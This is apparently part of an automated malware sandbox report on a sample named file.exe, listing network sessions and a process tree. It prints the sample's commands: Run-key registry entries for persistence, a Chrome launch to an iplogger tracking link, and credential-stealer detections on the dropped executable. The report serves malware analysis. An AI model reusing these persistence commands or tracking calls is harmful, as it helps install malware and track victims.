2024-11-29 22:11:56 UTC	494	IN	HTTP/1.1 200 OK Date: Fri, 29 Nov 2024 22:11:56 GMT Content-Type: text/xml Content-Length: 1399 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:47 GMT ETag: "0x8DC582BE1CC18CD" x-ms-request-id: 9f43eb8e-e01e-003c-5891-3fc70b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241129T221156Z-174f78459685m244hC1EWRgp2c00000010eg0000000036wx x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-29 22:11:56 UTC	1399	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 30 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 52 65 6c 65 61 73 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 52 65 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701051" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Release.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenRe

Session ID	Source IP	Source Port	Destination IP	Destination Port
144	192.168.2.4	49897	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-29 22:11:56 UTC	192	OUT	GET /rules/rule701050v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-29 22:11:57 UTC	494	IN	HTTP/1.1 200 OK Date: Fri, 29 Nov 2024 22:11:57 GMT Content-Type: text/xml Content-Length: 1362 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:03 GMT ETag: "0x8DC582BEB256F43" x-ms-request-id: 465003af-501e-00a3-2ca1-42c0f2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241129T221157Z-174f7845968n2hr8hC1EWR9cag000000106g000000008ce9 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-29 22:11:57 UTC	1362	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 30 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 52 65 6c 65 61 73 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 52 65 6c 65 61 73 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701050" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Release" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenRelease" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
145	192.168.2.4	49898	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-29 22:11:57 UTC	192	OUT	GET /rules/rule702751v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-29 22:11:57 UTC	494	IN	HTTP/1.1 200 OK Date: Fri, 29 Nov 2024 22:11:57 GMT Content-Type: text/xml Content-Length: 1403 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:03 GMT ETag: "0x8DC582BEB866CDB" x-ms-request-id: 72821319-501e-0047-4515-41ce6c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241129T221157Z-174f7845968kvnqxhC1EWRmf3g0000000mbg000000007zgz x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-29 22:11:57 UTC	1403	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 37 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 75 62 6c 69 73 68 65 72 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702751" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Publisher.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToken

Session ID	Source IP	Source Port	Destination IP	Destination Port
146	192.168.2.4	49899	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-29 22:11:57 UTC	192	OUT	GET /rules/rule702750v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-29 22:11:58 UTC	494	IN	HTTP/1.1 200 OK Date: Fri, 29 Nov 2024 22:11:57 GMT Content-Type: text/xml Content-Length: 1366 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:54 GMT ETag: "0x8DC582BE5B7B174" x-ms-request-id: 62c5240a-b01e-0097-3411-414f33000000 x-ms-version: 2018-03-28 x-azure-ref: 20241129T221157Z-174f7845968pght8hC1EWRyvxg00000003kg00000000kr4k x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-29 22:11:58 UTC	1366	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 37 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 75 62 6c 69 73 68 65 72 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 75 62 6c 69 73 68 65 72 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702750" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Publisher" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPublisher" S="Medium" /> <F T="2

Session ID	Source IP	Source Port	Destination IP	Destination Port
147	192.168.2.4	49900	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-29 22:11:58 UTC	192	OUT	GET /rules/rule702301v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-29 22:11:58 UTC	494	IN	HTTP/1.1 200 OK Date: Fri, 29 Nov 2024 22:11:58 GMT Content-Type: text/xml Content-Length: 1399 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:00 GMT ETag: "0x8DC582BE976026E" x-ms-request-id: 5bc480f4-b01e-001e-79d9-410214000000 x-ms-version: 2018-03-28 x-azure-ref: 20241129T221158Z-174f7845968psccphC1EWRuz9s00000010t000000000adk1 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-29 22:11:58 UTC	1399	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 6a 65 63 74 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702301" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Project.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPr

Session ID	Source IP	Source Port	Destination IP	Destination Port
148	192.168.2.4	49901	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-29 22:11:58 UTC	192	OUT	GET /rules/rule702300v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-29 22:11:59 UTC	494	IN	HTTP/1.1 200 OK Date: Fri, 29 Nov 2024 22:11:59 GMT Content-Type: text/xml Content-Length: 1362 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:37 GMT ETag: "0x8DC582BDC13EFEF" x-ms-request-id: 069bf3a9-401e-0016-0bf6-4153e0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241129T221159Z-174f7845968nxc96hC1EWRspw8000000108g00000000bku7 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-29 22:11:59 UTC	1362	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 6a 65 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 72 6f 6a 65 63 74 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702300" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Project" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenProject" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
149	192.168.2.4	49902	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-29 22:11:58 UTC	192	OUT	GET /rules/rule703401v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-29 22:11:59 UTC	494	IN	HTTP/1.1 200 OK Date: Fri, 29 Nov 2024 22:11:59 GMT Content-Type: text/xml Content-Length: 1425 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:55 GMT ETag: "0x8DC582BE6BD89A1" x-ms-request-id: c922d918-601e-0032-6e42-41eebb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241129T221159Z-174f7845968cpnpfhC1EWR3afc000000101g00000000n2u2 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-29 22:11:59 UTC	1425	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 34 30 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 67 72 61 6d 6d 61 62 6c 65 53 75 72 66 61 63 65 73 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703401" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ProgrammableSurfaces.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="Nexus

Target ID:	0
Start time:	17:09:54
Start date:	29/11/2024
Path:	C:\Users\user\Desktop\file.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\file.exe"
Imagebase:	0x790000
File size:	2'210'104 bytes
MD5 hash:	EFF5FBE427181FE1A3EED978CF0C9A36
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Target ID:	1
Start time:	17:09:55
Start date:	29/11/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\system32\cmd.exe /c ""C:\Users\Public\Netstat\s.bat" "
Imagebase:	0x240000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Target ID:	2
Start time:	17:09:55
Start date:	29/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Target ID:	3
Start time:	17:09:55
Start date:	29/11/2024
Path:	C:\Windows\SysWOW64\reg.exe
Wow64 process (32bit):	true
Commandline:	REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "Netstat" /t REG_SZ /F /D "C:\Users\Public\Netstat\dileapp.exe"
Imagebase:	0x1c0000
File size:	59'392 bytes
MD5 hash:	CDD462E86EC0F20DE2A1D781928B1B0C
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Target ID:	4
Start time:	17:09:55
Start date:	29/11/2024
Path:	C:\Windows\SysWOW64\reg.exe
Wow64 process (32bit):	true
Commandline:	REG ADD "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "Netstat" /t REG_SZ /F /D "C:\Users\Public\Netstat\dileapp.exe"
Imagebase:	0x1c0000
File size:	59'392 bytes
MD5 hash:	CDD462E86EC0F20DE2A1D781928B1B0C
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Target ID:	5
Start time:	17:09:55
Start date:	29/11/2024
Path:	C:\Users\Public\Netstat\dileapp.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\Public\Netstat\dileapp.exe
Imagebase:	0xfd0000
File size:	1'928'704 bytes
MD5 hash:	B0D5568D499D1DFA75064E85E9FB3EAC
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML
Reputation:	low
Has exited:	true

Target ID:	6
Start time:	17:09:55
Start date:	29/11/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument https://iplogger.co/1tJFB4
Imagebase:	0x7ff76e190000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Target ID:	7
Start time:	17:09:57
Start date:	29/11/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2400 --field-trial-handle=2324,i,4398833279190329867,13329652877224492584,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Imagebase:	0x7ff76e190000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Target ID:	9
Start time:	17:10:04
Start date:	29/11/2024
Path:	C:\Users\Public\Netstat\dileapp.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\Public\Netstat\dileapp.exe"
Imagebase:	0xfd0000
File size:	1'928'704 bytes
MD5 hash:	B0D5568D499D1DFA75064E85E9FB3EAC
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Target ID:	10
Start time:	17:10:11
Start date:	29/11/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=3472 --field-trial-handle=2324,i,4398833279190329867,13329652877224492584,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Imagebase:	0x7ff76e190000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Target ID:	12
Start time:	17:10:12
Start date:	29/11/2024
Path:	C:\Users\Public\Netstat\dileapp.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\Public\Netstat\dileapp.exe"
Imagebase:	0xfd0000
File size:	1'928'704 bytes
MD5 hash:	B0D5568D499D1DFA75064E85E9FB3EAC
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000C.00000003.1952649413.0000000001B0F000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000C.00000003.1926780706.0000000001B11000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000C.00000003.1900851363.0000000001B32000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000C.00000003.1980367222.0000000001B0F000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000C.00000003.1982622436.0000000001B28000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000C.00000003.1954874686.0000000001B0F000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Target ID:	15
Start time:	17:10:21
Start date:	29/11/2024
Path:	C:\Users\Public\Netstat\dileapp.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\Public\Netstat\dileapp.exe"
Imagebase:	0xfd0000
File size:	1'928'704 bytes
MD5 hash:	B0D5568D499D1DFA75064E85E9FB3EAC
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000F.00000003.1982904201.0000000000F67000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000F.00000003.2008902691.0000000000F58000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000F.00000003.1983969551.0000000000F5D000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000F.00000003.2033433013.0000000000F59000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000F.00000003.1983497240.0000000000F5D000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000F.00000003.2058427523.0000000000F59000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000F.00000003.2063694200.0000000000F69000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000F.00000003.2033655753.0000000000F5C000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000F.00000003.2064442018.0000000000F6F000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000F.00000003.1982875210.0000000000F58000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000F.00000003.2034685044.0000000000F5C000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000F.00000003.1984430461.0000000000F5D000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000F.00000003.2058810259.0000000000F5A000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true